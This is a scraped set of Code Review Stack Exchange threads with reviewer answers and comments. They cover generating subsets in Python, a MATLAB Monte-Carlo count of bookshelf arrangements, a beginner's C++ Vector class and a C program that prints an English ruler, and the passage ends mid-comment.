<li>This has a run time of <span class="math-container">\$O(n \times \text{#ofcombinations})\$</span> - can this be done better -- iteratively and easy to understand</li>
</ol>
<pre><code>import copy
def gen_combinations(arr): #
res = [[]]
for ele in arr:
temp_res = []
for combination in res:
temp_res.append(combination)
new_combination = copy.copy(combination)
new_combination.append(ele)
temp_res.append(new_combination)
res = copy.copy(temp_res)
return res
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-08T16:35:36.103",
"Id": "514200",
"Score": "0",
"body": "Step 2 says \"Doing a deep copy...\", but `copy.copy()` does a shallow copy, which is fine in this case."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-08T21:06:13.317",
"Id": "514214",
"Score": "0",
"body": "thanks for catching that @RootTwo, edited the description"
}
] |
[
{
"body": "<p>First, a side note. What you call <code>combination</code> is usually called <code>subset</code>.</p>\n<p>In a set of <span class=\"math-container\">\\$n\\$</span> elements an average length of a subset is <span class=\"math-container\">\\$\\dfrac{n}{2}\\$</span>. That is, generating a single subset takes <span class=\"math-container\">\\$O(n)\\$</span> time. You cannot get a time complexity better than <span class=\"math-container\">\\$O(n2^n)\\$</span>.</p>\n<p>The space complexity is a different matter. If you indeed need all the subset at the same time, then again the space complexity cannot be better than <span class=\"math-container\">\\$O(n2^n)\\$</span>. On the other hand, if you want one subset at a time, consider converting your function to a generator, which would <code>yield</code> subsets one at a time.</p>\n<p>A more or less canonical way of generating subsets uses the 1:1 mapping of subsets and numbers. Each number <code>a</code> in the <span class=\"math-container\">\\$[0, 2^n)\\$</span> range uniquely identifies subset of <span class=\"math-container\">\\$n\\$</span> elements (and vice versa). Just pick the elements at the position where <code>a</code> has a bit set.</p>\n<p>All that said, consider</p>\n<pre><code>def generate_subsets(arr):\n n = len(arr)\n for a in range(2 ** n):\n yield [arr[i] for i in range(n) if (a & (1 << i)) != 0]\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T10:41:27.647",
"Id": "513882",
"Score": "1",
"body": "Just a note, one can always iterate a finite generator and fill an array with all the results. So it actually feels more flexible to do that way even if now, you need them all at once."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T02:40:10.503",
"Id": "260323",
"ParentId": "260318",
"Score": "12"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T22:29:56.697",
"Id": "260318",
"Score": "7",
"Tags": [
"python",
"python-3.x"
],
"Title": "Generate combinations of a given sequence without recursion"
}
|
260318
|
<p><strong>The Problem</strong></p>
<p>I am trying to determine numerically how many possible ways a number of books can be arranged on a shelf. Specifically, there are x3 categories "<em>physics</em>", "<em>sci-fi</em>", and "<em>travel</em>". Each contains <code>N_phys</code>, <code>N_scifi</code>, and <code>N_travel</code> numbers of books respectively. Within their category, the books can be placed in any order, but they must stay within their respective category (i.e all the physics books together). The categories can then be arranged in any order (i.e I could have all the sci-fi books first, followed by travel, followed by physics, for example).</p>
<hr />
<p><strong>My Attempt</strong></p>
<p>I have decided to label each book and its category by integers, with "physics" = 1, "sci-fi" = 2, and "travel" = 3. The shelf is then a 2D array. So for example, a whole shelf could look like the following:</p>
<pre><code>[3 2 1 4 1 2 2 1 3; % Book ID
1 1 1 1 3 3 2 2 2] % Categrory label
</code></pre>
<p>where the the first 4 books are physics (because the second row is 1), followed by 2 travel books, and finally 3 sci-fi books, like this:</p>
<p><a href="https://i.stack.imgur.com/VQFSzm.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/VQFSzm.png" alt="enter image description here" /></a></p>
<p>This problem can be solved easily and exactly as a permutation, and the result is <code>N_phys ! x N_scifi ! x N_travel ! x 3 !</code>. For <code>N_phys = 4</code>, <code>N_scifi = 3</code>, and <code>N_travel = 2</code>, the result is 1728 possible arrangements.</p>
<p>I have written a "brute-force" numerical attempt, shown below in Matlab, which seems to give the correct result:</p>
<pre class="lang-matlab prettyprint-override"><code>N_phys = 4; % Number of physics books
N_scifi = 3; % Number of sci-fi books
N_travel = 2; % Number of travel books
books_physics = [1:N_phys;...
ones(1,N_phys)]; % Collection of physics books
books_scifi = [1:N_scifi;...
2*ones(1,N_scifi)]; % Collection of sci-fi books
books_travel = [1:N_travel;...
3*ones(1,N_travel)]; % Collection of travel books
num_samples = 10000; % Number of random shelves to generate
unique_shelves = zeros(num_samples*2,N_phys+N_scifi+N_travel); % Preallocate
unique_shelves(1:2,:) = [books_physics books_scifi books_travel];
num_unique_shelves = 1;
% Generate "num_samples" permutations of shelves randomly
for sample_num = 1:num_samples
books_physics_shuffled = books_physics( :, randperm(N_phys) ); % Shuffle physics books
books_scifi_shuffled = books_scifi( :, randperm(N_scifi) ); % Shuffle sci-fi books
books_travel_shuffled = books_travel( :, randperm(N_travel) ); % Shuffle travel books
category_order = randperm(3,3); % Choose order of categories, e.g. sci-fi/phsycis/travel = [2 1 3]
shelf = [];
% Arrange the categories in a random order
for k = 1:3
if category_order(k) == 1
shelf = [shelf books_physics_shuffled];
elseif category_order(k) == 2
shelf = [shelf books_scifi_shuffled];
elseif category_order(k) == 3
shelf = [shelf books_travel_shuffled];
end
end
% Iterate over discovered shelves, and see if we have found a new unique one
shelf_exists = 0;
for k = 1:num_unique_shelves
if shelf == unique_shelves( (2*k-1):(2*k),:)
shelf_exists = 1; % Shelf was previously discovered
break
end
end
if ~shelf_exists % New shelf was found
unique_shelves( (2*num_unique_shelves+1):(2*num_unique_shelves+2),:) = shelf; % Add shelf to existing ones
num_unique_shelves = num_unique_shelves + 1;
end
end
disp(['Number of unique shelves found = ',num2str(num_unique_shelves)])
disp(['Expected = ', num2str(factorial(N_phys)*factorial(N_scifi)*factorial(N_travel)*factorial(3) )])
</code></pre>
<p>As can be seen, I am basically randomly generating a shelf, and then checking if it has been previously found. If it has, I add it to the list.</p>
<p>I am looking for feedback on the way this is implemented, and how it can be improved to make it more concise and efficient. Is there a better data structure for storing such "unique_shelves", instead of the 2D array of integers as above? My code also doesn't scale easily for more categories, since they are hardcoded.</p>
<p>Tips or alternative examples would be great! Thanks.</p>
|
[] |
[
{
"body": "<p>I don't really understand your question. So I'll take things to the extreme and assume there are n1 books, n2 categories, n3 super categories... etc.</p>\n<p>This whole hierarchy can be represented as a rooted tree, and the number of valid permutations would be the number of postorder traversals of the tree (or equivalently, preorder).</p>\n<p>(I don't expect this will answer your question, I just thought it was interesting)</p>\n<p>Also, if you'd like to find some middle ground between your specific example and my extremely overgeneralised... whatever this is... it might be easier to come up with a reasonable answer.</p>\n<p>(edit...)</p>\n<h1>Some more points</h1>\n<p>This is not specific to matlab, just DSA in general</p>\n<p>I still maintain that randomness is not the way to go for this problem.</p>\n<p>As far as data structures go using arrays is fine, but for generality/scalability I suggest encoding the categories into the lists as well.</p>\n<p><code>tree = {{1,2,3},{1,2},{1,2,3,4}}</code> <- a cell array lets you structure data</p>\n<p>Also, it's inefficient to check each new permutation against every saved entry. The usual thing to do is to use a set (a hashmap or a hashtable). But this adds the problem of computing a hash of the array (or finding some succinct unique id)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T11:23:10.843",
"Id": "513988",
"Score": "0",
"body": "Thanks - what do you feel is unclear? I am trying to solve a very general permutation problem (which is easy to do by hand) but do it numerically. My approach is to random choose different arrangements, and to check if they have been previously found. Eventually for enough random samples, I end up with a list of all unique arrangements. I am wondering if there is a cleaner way to represent the data, instead of this 2 x 9 array of integers that I have used."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T11:27:54.337",
"Id": "513989",
"Score": "0",
"body": "In that case, is there really any major difference between your example and say just finding all permutations of n items (a 1 level problem, your's is a 2 level, the tree one is n level)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T11:30:51.063",
"Id": "513990",
"Score": "0",
"body": "Also, I don't really agree with using numerical methods to find this out. Usually numerical methods are used to find approximate solutions. eg approximating pi by generating random points in a unit square and seeing what percentage falls within a unit circle (both centered at origin), or newton-raphson, etc. For exact solutions like this, your question, rather than being \"count the number\" is closer to \"generate all permutations\". if you want to list out all permutations then there are better, non-random algorithms for that"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T11:34:38.587",
"Id": "513991",
"Score": "0",
"body": "If you, for eg. wanted to know what percentage of random permutations of n books also leaves books of different categories together, then your approach would make sense (although you could still find the exact answer with factorials, even that exact answer would involve a division that would introduce some precision limits)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T11:35:39.860",
"Id": "513992",
"Score": "0",
"body": "Ofcourse there are better ways to solve this specific problem. The main reason for this is because I wanted to learn some of the techniques in Matlab such as generating random samples, choosing a suitable data structure to store the results in, and finding matches. That's why I called it a \"brute-force\" approach, but yes I agree that it can be described as \"generate all unique permutations\"."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T11:01:30.157",
"Id": "260367",
"ParentId": "260320",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T23:37:40.113",
"Id": "260320",
"Score": "4",
"Tags": [
"array",
"random",
"simulation",
"matlab"
],
"Title": "Finding number of possible arrangements of books on a shelf with a Monte-Carlo approach"
}
|
260320
|
<p>I am relearning data structures while trying to implement them on my own while also trying to get better at C++ as although I have knowledge of C, OOP is still non-inituitive to me.</p>
<p>In this simple Vector implementation, I double the array size if it becomes equal to the capacity and half it when it becomes less than a quarter of the capacity.
I have also added the main() function that I used to test. Please let me know how I can improve it and what other functionalities to add to get better at C++.</p>
<pre class="lang-cpp prettyprint-override"><code>#include <iostream>
#include <cassert>
const int MIN_CAPACITY = 16;
const int GROWTH_FACTOR = 2;
const int SHRINK_FACTOR = 4;
template <class T>
class Vector {
private:
int _size;
int _capacity;
T * _data;
// Check if resize needed. If yes, do accordingly.
bool resize() {
bool resized = false;
if (_size >= _capacity) {
_capacity *= GROWTH_FACTOR;
resized = true;
} else if (_capacity > MIN_CAPACITY &&
_size <= _capacity / SHRINK_FACTOR) {
_capacity /= GROWTH_FACTOR;
resized = true;
}
if (resized) {
T *tmp = _data;
_data = new T[_capacity];
std::copy(tmp, tmp+_size, _data);
delete [] tmp;
}
return resized;
}
public:
Vector() : _size(0), _capacity(MIN_CAPACITY), _data(new T[MIN_CAPACITY]) {}
// create vector with given initial size and default value.
Vector(int n, T default_val) {
assert (n > 0);
_size = 0;
int capacity = MIN_CAPACITY;
while (capacity < n)
capacity *= GROWTH_FACTOR;
_capacity = capacity;
_data = new T[_capacity];
while (_size < n)
_data[++_size] = default_val;
}
Vector(const Vector& src) : _size(src._size), _capacity(src._capacity) {
_data = new T[_capacity];
std::copy(src._data, src._data + _size, _data);
}
~Vector() {
delete [] _data;
}
int size() const {
return _size;
}
int capacity() const {
return _capacity;
}
void insert(const int index, const T obj) {
assert(index >= 0 && index <= _size);
resize();
for (int i = _size; i > index; --i)
_data[i] = _data[i-1];
_data[index] = obj;
++_size;
}
void push_back(const T obj) {
insert(_size, obj);
}
T erase(const int index) {
assert(index >= 0 && index < _size);
resize();
T tmp = _data[index];
for (int i = index; i < _size-1; ++i)
_data[i] = _data[i+1];
--_size;
return tmp;
}
T pop_back() {
return erase(_size-1);
}
T get(const int index) const {
assert(index >= 0 && index < _size);
return _data[index];
}
void set(const int index, const T obj) {
assert(index >= 0 && index < _size);
_data[index] = obj;
}
void print() {
std::cout << "Size: " << size() << ", Capacity: " <<
capacity() << std::endl;
for (int i = 0; i < size(); ++i)
std::cout << _data[i] << ", ";
std::cout << std::endl;
}
};
int main() {
Vector<int> v;
v.push_back(1000);
v.print();
v.pop_back();
v.print();
for (int i = 0; i < 25; ++i)
v.push_back(i);
v.print();
for (int i = 0; i < 10; ++i)
v.insert(i, i+25);
v.print();
Vector<int> v1 = v;
for (int i = 0; i < 10; ++i)
std::cout << "Popped " << v.pop_back() << std::endl;
v.print();
for (int i = 0; i < 12; ++i)
std::cout << "Erased " << v.erase(i) << " from index " << i << std::endl;
v.print();
std::cout << "Starting element: " << v.get(0) << std::endl;
std::cout << "Ending element: " << v.get(v.size() - 1) << std::endl;
v1.print();
std::cout << "Starting element: " << v1.get(0) << std::endl;
std::cout << "Ending element: " << v1.get(v1.size() - 1) << std::endl;
Vector<char> v2(20, 'a');
v2.print();
for (int i=0; i < 12; ++i)
v2.set(i, 'a'+1+i);
v2.print();
std::cout << "Starting element: " << v2.get(0) << std::endl;
std::cout << "Ending element: " << v2.get(v2.size() - 1) << std::endl;
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T05:07:14.940",
"Id": "513850",
"Score": "0",
"body": "Wow, I just found out that std::vector also has insert and erase methods. What an ineffective methods they are. Consider the example from cpp reference - erase odd numbers from vector of integers - doing it using erase method in a loop makes it an O(n²) algorithm where it really can be solved in O(n). You better avoid insert/erase on a vector as much as you can, or at least always think about it before you use them."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T05:37:50.553",
"Id": "513858",
"Score": "1",
"body": "Btw I have recently read this post https://codereview.stackexchange.com/questions/260004/value-store-optional-type\nand there is a brilliant answer which touches the topic of beginners implementing standard template containers (and other things), I suggest you read it. On other hand, as a learning excersise, I suggest you try to implement the \"remove odds from vector\" algorithm I mentioned above without using the erase method. It might give you a little insight on why those methods are not a good pick and why you might consider using a different container if you need to insert/erase often."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T06:42:01.213",
"Id": "513863",
"Score": "0",
"body": "@slepic \"You better avoid insert/erase on a vector as much as you can\" IIRC, insertion and deletion on a vector often turn out to be faster than those on a list, as the advantage of continuous storage dominates the moving of elements, so `std::vector` should still be the default choice, as mentioned at the end of [this answer](https://stackoverflow.com/a/10701102). The cppreference example for `erase`, of course, is just a demonstration of its usage; actually removing elements of a vector calls for the [erase-remove idiom](https://en.wikipedia.org/wiki/Erase%E2%80%93remove_idiom)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T06:47:42.993",
"Id": "513864",
"Score": "1",
"body": "Hi @slimmsady - looks like a problem here `if (_size >= _capacity) {\n _capacity *= GROWTH_FACTOR;` .. it assumes that GROWTH_FACTOR will be sufficient to make capacity bigger than size .. Your ctor does the right thing, but resize doesn't"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T06:55:49.960",
"Id": "513865",
"Score": "0",
"body": "@L.F. oh nice, my little attempt to prove myself that it is possible to implement in O(n) lead me to (half-baked) implementation of std::remove_if which I didn't know existed :) You know, cpp is just a hobby for me, not my main prog. language... I agree that blindly using a list just because it has O(1) insert/erase is wrong, I merely wanted to point out that blindly using insert/erase on an array based container is not great either and one should think about necesity of it's usage... And ofc I know it was just an example in the docs, but it served as a good example to point this out..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T12:45:18.287",
"Id": "513892",
"Score": "0",
"body": "@slepic Thanks for the link to the other question. That was quite informative. As for the efficiency of insert and erase, I understand that they are O(n). But, when we just need to directly access and/or modify the element vector is better that list, isn't it? Also, for the erase odd problem, you are right that list would be better suited and we can do it in one iteration. Though I would have still used a vector and kept a pointer at the valid index with last even element found and would have kept on moving even elements left while ignoring odds. Thanks again for the interesting info."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T12:53:50.157",
"Id": "513893",
"Score": "0",
"body": "@MrR As _resize and _size are both privates they can not be called or modified externally. So this should be fine. Also, in the parametrized constructor i am not calling _resize. I am just increasing the value of _capacity to required value and assign _size value after that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T21:53:11.793",
"Id": "513953",
"Score": "1",
"body": "Worth a read: https://lokiastari.com/series/ Look at the series on vector."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T14:28:24.020",
"Id": "514067",
"Score": "0",
"body": "`list` is slow due to modern architecture's memory bottlenecks. What you learned about O(n) etc. is not applicable to real code anymore, as `k` becomes very large. Even with tens of thousands of elements, the vector is faster!"
}
] |
[
{
"body": "<pre><code>const int MIN_CAPACITY = 16;\nconst int GROWTH_FACTOR = 2;\nconst int SHRINK_FACTOR = 4;\n</code></pre>\n<p>these should be part of the class, not global variables that affect everything and pollute the namespace when your header is included.</p>\n<p>And use <code>constexpr</code> now.</p>\n<hr />\n<pre><code>_data(new T[MIN_CAPACITY]\n</code></pre>\n<p>No naked <code>new</code>!</p>\n<p>Use a <code>unique_ptr<T[]></code> instead of a bare pointer for <code>_data</code>.</p>\n<hr />\n<pre><code> T *tmp = _data;\n _data = new T[_capacity];\n std::copy(tmp, tmp+_size, _data);\n delete [] tmp;\n</code></pre>\n<p>again, using a <code>unique_ptr</code> you won't need to <code>delete</code> manually.<br />\nBut rather than copying the old vector, you want to <code>move</code> the elements. Consider if <code>T</code> is something that is expensive to copy (like a string) or <em>cannot</em> be duplicated!</p>\n<p>I suspect the same for insert and delete as well. Test it with <code>T</code> that has a deleted copy constructor and assignment operators, but does have a move constructor.</p>\n<hr />\n<p>For testing, try the "<a href=\"https://github.com/catchorg/Catch2\" rel=\"nofollow noreferrer\">Catch2</a>" library:</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T03:02:46.413",
"Id": "513966",
"Score": "0",
"body": "I am still not comfortable with smart pointers. Will definitely update this code once I am decent at using them. Is there any difference between const and constexpr in this context? Also, thanks for pointing me towards Catch2. Will definitely try it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T14:01:53.447",
"Id": "514003",
"Score": "1",
"body": "In 2011, the catch phrase was \"`constexpr` is the new `static const`\". While a variable declared `const` with global lifetime _might_ be useful for array bounds and template arguments, depending on whether it was a suitable type and the initializer was a constant expression, writing `constexpr` will *ensure* it and give you an error if the initializer is not know at compile time."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T14:03:15.203",
"Id": "514004",
"Score": "1",
"body": "Post C++11, the right way of teaching is smart pointers first, and new/delete is an advanced topic. It's easy: just use `make_unique` instead of `new`, and forget about having to `delete` manually."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T14:05:21.457",
"Id": "514005",
"Score": "1",
"body": "BTW, something like a vector (I called it `vararray`) was my go-to collection from the early days of C++, before STL existed, long before standardization. I had several versions over the years."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T14:16:14.907",
"Id": "260338",
"ParentId": "260324",
"Score": "1"
}
},
{
"body": "<ol>\n<li><p>Your code labors under the assumption that exceptions cannot happen. Unfortunately, they do.</p>\n</li>\n<li><p>You <a href=\"//en.cppreference.com/w/cpp/language/default_initialization\" rel=\"nofollow noreferrer\">default initialize</a> all your elements on allocation.</p>\n<p>Not only is that potentially a big waste of time, it also might be impossible (compile-error) or flat-out wrong (silently wrong behavior).</p>\n<p>To fix that, separate allocation from constructing the elements.</p>\n<p>By all means, call <code>operator new</code> (the function) to get space, and <code>operator delete</code> (dito) to release it, but use placement-new and explicit dtor invocation to manage object lifetimes. Alternatively, defer to <a href=\"https://en.cppreference.com/w/cpp/memory/allocator\" rel=\"nofollow noreferrer\"><code>std::allocator</code></a>, which doubles as a first step to get full allocator-awareness.</p>\n</li>\n<li><p>Your <a href=\"//en.cppreference.com/w/cpp/language/default_constructor\" rel=\"nofollow noreferrer\">default-ctor</a> allocates memory. Wherever possible, the default-ctor should be trivial, which simplifies especially construction of static instances. Use in-class-initializers on the non-static members as needed.</p>\n</li>\n<li><p>The standard provides a member-function <a href=\"//en.cppreference.com/w/cpp/container/vector/resize\" rel=\"nofollow noreferrer\"><code>.resize()</code></a> with somewhat vaguely related semantics. Your variant adjusting the backing-store to what seems needed (soon?) is quite surprising. Did you verify that it actually always does the adjustment you need or want? Because especially how you use it seems a bit arcane. Also, <a href=\"//en.cppreference.com/w/cpp/container/vector/reserve\" rel=\"nofollow noreferrer\"><code>.reserve()</code></a> should not be forgotten.</p>\n<p>Also, the current code can only adjust by shrinking or growing one step per call.</p>\n</li>\n<li><p>In order to allow for re-use, depending on the underlying memory-allocator, a growth-factor smaller than 2 is recommended.</p>\n</li>\n<li><p>Consider not shrinking at all, unless requested, and then shrinking all the way. That means removing the minimum.</p>\n</li>\n<li><p><code>Vector::Vector(int n, T default_val)</code> should accept the second argument by constant reference to avoid needless copies.</p>\n</li>\n<li><p>All ctors should delegate allocation to the same function. That would be easier if the default-ctor was trivial and non-allocating.</p>\n</li>\n<li><p><code>.get()</code> and <code>.set()</code> are curious member-functions. I would expect just <code>operator[]()</code> used for both, maybe accompanied by <code>.at()</code> for bounds-testing.</p>\n</li>\n<li><p>Printing the vector should not be done by a member-function, especially not hard-wired to <code>std::cout</code>. Provide an iterator-interface (begin, end) and potentially a stream-inserter if you must.</p>\n</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T02:52:22.787",
"Id": "513964",
"Score": "0",
"body": "Thanks for the detailed answer. Currently I am using assert statements to check bounds. But yes, this will fail for other exceptions. Still not added proper operator overloading, but that will handle [] and <<. I have checked _resize() and it works fine. SHRINK_FACTOR just checks if _size is a quarter of _capacity, array is still shrinked by GROWTH_FACTOR. Seems to be an issue with naming."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T02:52:27.047",
"Id": "513965",
"Score": "0",
"body": "For the point 7, my stupid mind thought that if I pass by reference and change it from the calling function afterwards, then the instance variables will also be changed. I am still little confused about how to handle default initialization when I don't have an idea about the constructor of the data type of T. Please point me towards an article or guide."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T13:55:05.580",
"Id": "514001",
"Score": "0",
"body": "Elaborated on what you wanted. The cppreference page I linked also has a bit of playing around with the allocator. They curently use the allocator directly too much. Fixed that by properly going through allocator_traits."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T16:12:55.227",
"Id": "260344",
"ParentId": "260324",
"Score": "3"
}
},
{
"body": "<h1>Constants</h1>\n<pre><code>const int MIN_CAPACITY = 16;\nconst int GROWTH_FACTOR = 2;\nconst int SHRINK_FACTOR = 4;\n</code></pre>\n<p>These are polluting the global scope. I would put them into the class as named constants:</p>\n<pre><code>template <class T>\nclass Vector {\n enum {\n MIN_CAPACITY = 16,\n GROWTH_FACTOR = 2,\n SHRINK_FACTOR = 4,\n };\n\n// ...\n</code></pre>\n<h1><code>operator=</code> and friends.</h1>\n<p>Your compiler supplied <code>operator=</code> does the wrong thing currently. You definitely want to overload it yourself to do proper copying. Aside from that, you should consider adding a move constructor and a move assignment operator.</p>\n<h1><code>get</code> returns by value.</h1>\n<p><code>get()</code> should probably return a refence to the element instead of a copy. Aside from being inefficient, it doesn't allow mutating elements after insertion. On that note, many of the arguments you take by value should either be taken by reference, or moved.</p>\n<h1>Calculating capacity with a loop</h1>\n<p>The way you calculate capacity in the two-argument constructor with a while loop is confusing and likely inefficient. Either do <code>capacity = n</code> or <code>capacity = n * GROWTH_FACTOR</code>. Either is fine but I would say you don't want to over-allocate in this case.</p>\n<h1><code>noexcept</code></h1>\n<p>Some of your functions should definitely be <code>noexcept</code>. <code>size()</code>, <code>capacity()</code> are the ones I spot.</p>\n<h1>Minimal capacity</h1>\n<p>Allocating memory in default construction seems like a bad idea. A better idea would be to create some buffer inside the vector for a "small vector optimization". Then, you can possibly make that constructor <code>noexcept</code> as well as <code>constexpr</code>.</p>\n<h1>Use of <code>int</code></h1>\n<p><code>int</code> is often 32 bits wide. This is limiting and it's a better idea to use <a href=\"https://en.cppreference.com/w/cpp/types/ptrdiff_t\" rel=\"nofollow noreferrer\"><code>ptrdiff_t</code></a> instead.</p>\n<h1>Misc</h1>\n<p>I didn't talk about these since others already have, but here are a couple more points. Your functions are not exception safe. That is very important indeed. And the way you use <code>new</code> and <code>delete</code> is just wrong. They default initialize everything. This is very inefficient and limiting. Some objects are just move-only. What you want to do is to allocate raw memory (with allocators, <code>operator new</code>, <code>malloc</code> or however else) and construct/destruct elements on demand.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T14:30:18.457",
"Id": "514068",
"Score": "0",
"body": "Why can't you put constants in a header? It's only a ODR violation if they are changed between different translation units, but that's true for *everything* in the header."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T16:56:36.643",
"Id": "514083",
"Score": "0",
"body": "@JDługosz yeah, I got it mixed with the C language. In C++, const int also implies constexpr, so it's fine. I'll remove that part"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T22:26:37.737",
"Id": "514106",
"Score": "0",
"body": "In C, you just need to use `static` with the `const`. Whether or not it's `constexpr` depends on the initializer. Even for complex types, `const` has internal linkage by default in C++."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-07T05:49:18.183",
"Id": "514113",
"Score": "0",
"body": "Yes, but OP doesn't have static there. Const references have external linkage iirc."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-07T14:05:48.903",
"Id": "514147",
"Score": "0",
"body": "You are mistaken. C++ is different from C in this respect. https://en.cppreference.com/w/cpp/language/cv see first paragraph under _Notes_."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-07T16:35:49.967",
"Id": "514155",
"Score": "1",
"body": "@JDługosz, yes I know C++ is different in this respect. I simply got it mixed up with C since I don't often create global const variables in headers :) C would require a `static` which OP didn't have. Thank you for pointing out."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T16:47:58.427",
"Id": "260382",
"ParentId": "260324",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260344",
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T03:54:45.563",
"Id": "260324",
"Score": "4",
"Tags": [
"c++",
"beginner",
"vectors"
],
"Title": "Custom Vector Implementation in C++"
}
|
260324
|
<p>In this source code, i have writena program, using for loops, to print an english ruler whose length is given by the user.
So what i want to know is that is it possible to modify this program, to print the ruler in a more logical way And if so, how can it be done, without applying reculsions ?</p>
<p>This is the program to print ruler vertically.</p>
<pre><code>#include <stdio.h>
int main()
{
int q, num, x;
int y, p, n;
printf( "Enter height of central dashes \n" );
scanf( "%d", &n );
printf( "Enter number of inches \n" );
scanf( "%d", &num );
for( x=0; x < num ; x++ )
{
for( q=0; q<n; q++ )
{
printf( "-" );
}
printf( "%d\n", x );
for( p=0; p < n-3; p++ )
{
printf("-");
}
printf( "\n" );
for( p=0; p < n-2; p++ )
{
printf( "-" );
}
printf( "\n" );
for( p=0; p < n-3; p++ )
{
printf( "-" );
}
printf("\n");
for( p = 0; p < n-1; p++)
{
printf( "-" );
}
printf( "\n" );
for( p = 0; p < n-3; p++)
{
printf( "-" );
}
printf( "\n" );
for( p = 0; p < n-2; p++)
{
printf( "-" );
}
printf( "\n" );
for( p = 0; p < n-3; p++)
{
printf( "-" );
}
printf( "\n" );
}
for( y = 0; y < n; y++ )
{
printf( "-" );
}
printf( "%d", x );
printf( "\n" );
return 0;
}
</code></pre>
<p><a href="https://i.stack.imgur.com/jAQ2g.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/jAQ2g.png" alt="This is the output for vertical ruler" /></a></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T07:57:46.373",
"Id": "513867",
"Score": "1",
"body": "@aghast Please do not edit code in the question. Reviewers can comment on any aspect of the code including whitespace. By editing the code you can either give reviewer more points to talk about or depriving the reviewer of points to talk about, either way the OP becomes disadvantaged. Please read our [editing meta](https://codereview.meta.stackexchange.com/q/762) for more information."
}
] |
[
{
"body": "<p>The task you are solving is quite simple. So I don't think there's any great change possible. Here are a few things:</p>\n<ol>\n<li><p>You might want to consider accepting command-line parameters (<code>argc</code> and <code>argv</code>) to determine the number of dashes and the dash height.</p>\n</li>\n<li><p>Your variables are poorly named, and not initialized. You have not specified an old version of C, so I'm assuming that you can write to at least the 1999 C standard (known as "C99").</p>\n</li>\n<li><p>You don't validate your user's input.</p>\n</li>\n<li><p>You don't need to <code>return 0</code> from <code>main()</code>. Just "fall off the end" of the function and it will do that automatically.</p>\n</li>\n<li><p>Your last two calls to <code>printf</code> should be merged.</p>\n</li>\n<li><p>You might want to write functions (or preprocessor macros) to make the various fractional gradations more clear:</p>\n<p>#define DRAW_1_8(HEIGHT) for (int i = 0; i < (HEIGHT) - 3; ++i) printf("-")</p>\n</li>\n</ol>\n<p>then your main loop becomes a series of named statements:</p>\n<pre><code>for (int inch = 0; inch < length; ++inch) {\n DRAW_INCH(height, inch);\n DRAW_1_8(height);\n DRAW_1_4(height);\n DRAW_1_8(height);\n DRAW_1_2(height);\n DRAW_1_8(height);\n DRAW_1_4(height);\n DRAW_1_8(height);\n}\nDRAW_INCH(height, length);\n</code></pre>\n<p>This does serve to make the code a bit clearer, but mainly it serves to reduce repetition. I'll bet there were a few mistakes early on as you adjusted all the <code>n - K</code> parameters, and macros or functions address that issue.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T02:32:52.513",
